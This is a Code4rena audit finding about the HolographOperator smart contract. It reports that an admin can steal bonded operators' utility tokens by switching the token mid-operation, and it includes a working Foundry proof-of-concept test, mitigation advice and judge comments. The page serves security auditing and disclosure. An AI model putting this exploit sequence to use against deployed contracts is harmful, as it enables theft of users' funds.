Platform: Code4rena
Start Date: 18/10/2022
Pot Size: $75,000 USDC
Total HM: 27
Participants: 144
Period: 7 days
Judge: gzeon
Total Solo HM: 13
Id: 170
League: ETH
Rank: 134/144
Findings: 1
Award: $0.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Rolezn
Also found by: 0x1f8b, 0x52, 0x5rings, 0xNazgul, 0xSmartContract, 0xZaharina, 0xhunter, 0xzh, 8olidity, Amithuddar, Aymen0909, B2, Bnke0x0, Chom, Deivitto, Diana, Diraco, Dravee, Franfran, JC, Jeiwan, Josiah, JrNet, Jujic, KingNFT, KoKo, Lambda, Margaret, Migue, Ocean_Sky, PaludoX0, Picodes, Rahoz, RaoulSchaffranek, RaymondFam, RedOneN, ReyAdmirado, Shinchan, Tagir2003, Trust, Waze, Yiko, __141345__, a12jmx, adriro, ajtra, arcoun, aysha, ballx, bin2chen, bobirichman, brgltd, bulej93, catchup, catwhiskeys, caventa, cccz, cdahlheimer, ch0bu, chaduke, chrisdior4, cloudjunky, cryptostellar5, cryptphi, csanuragjain, cylzxje, d3e4, delfin454000, djxploit, durianSausage, erictee, fatherOfBlocks, francoHacker, gianganhnguyen, gogo, hansfriese, i_got_hacked, ignacio, imare, karanctf, kv, leosathya, louhk, lukris02, lyncurion, m_Rassska, malinariy, martin, mcwildy, mics, minhtrng, nicobevi, oyc_109, pashov, peanuts, pedr02b2, peiw, rbserver, ret2basic, rotcivegaf, rvierdiiev, ryshaw, sakman, sakshamguruji, saneryee, securerodd, seyni, sikorico, svskaushik, teawaterwire, tnevler, w0Lfrum
0 USDC - $0.00
The admin account controlling the HolographOperator can steal arbitrary amounts of utility tokens from bonded operators. This is enabled by a feature that lets the admin change the oracle mid-operation.
Here is a sequence of steps the admin can perform to steal the tokens. Notice that all steps can be done in one transaction.
A passing test means the exploit was successful.
test/foundry/HolographOperator.t.sol
:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.13; import "forge-std/Test.sol"; import "contracts/HolographOperator.sol"; import {ERC20Mock} from "lib/openzeppelin-contracts/contracts/mocks/ERC20Mock.sol"; contract HolographOperatorTest is Test { address public ADMIN = makeAddr("ADMIN"); address public ALICE = makeAddr("ALICE"); HolographOperator operator; ERC20Mock utilityToken; function setUp () public { vm.startPrank(ADMIN, ADMIN); address bridge = makeAddr("FAKE_BRDIGE"); address holograph = makeAddr("FAKE_HOLOGRAPH"); address interfaces = makeAddr("FAKE_INTERFACES"); address registry = makeAddr("FAKE_REGISTRY"); utilityToken = new ERC20Mock("Utility Token", "UT", ADMIN, 0); operator = new HolographOperator(); operator.init(abi.encode( bridge, holograph, interfaces, registry, address(utilityToken) )); vm.stopPrank(); } function testStealUtilities() public { // Alice is an honest operator with an initial balance of 100 UT utilityToken.mint(ALICE, 100e18); vm.startPrank(ALICE); utilityToken.approve(address(operator), 100e18); operator.bondUtilityToken(ALICE, 100e18, 1); vm.stopPrank(); // ADMIN is compromised and steals utility tokens vm.startPrank(ADMIN); // Step 1: Deploy a malicious ERC20 ERC20Mock attackingToken = new ERC20Mock("Attacking Token", "AT", ADMIN, 100e18); // Step 2: Set the utility token of the HolographOperator to the malicious ERC20 operator.setUtilityToken(address(attackingToken)); // Step 3: Bond a new operator with an initial balance equal to the amount you want to steal attackingToken.approve(address(operator), 100e18); operator.bondUtilityToken(ADMIN, 100e18, 1); // Step 3: Change the utility back to the original token operator.setUtilityToken(address(utilityToken)); // Step 4: Unbond to steal the original utility token operator.unbondUtilityToken(ADMIN, ADMIN); vm.stopPrank(); assertEq(utilityToken.balanceOf(ADMIN), 100e18); assertEq(utilityToken.balanceOf(ALICE), 0); assertEq(utilityToken.balanceOf(address(operator)), 0); } }
foundry.toml
[profile.default] src = "contracts" out = "out" test = "test/foundry" libs = ["lib"]
remappings.txt
ds-test/=lib/forge-std/lib/ds-test/src/ forge-std/=lib/forge-std/src/ openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/
VSCode, Foundry
Reconsider the design choices of the HolographOperator that enable this vulnerability. Is it necessary for the admin to change the utility token mid-operation? If not, consider removing the capability. If necessary, ensure that the internal accounting for the different tokens is separated. Ensure operators can still withdraw previous balances obtained from all former utility tokens.
#0 - gzeoneth
2022-10-31T12:48:02Z
Duplicate of #241
#1 - gzeoneth
2022-11-21T07:26:43Z
As QA report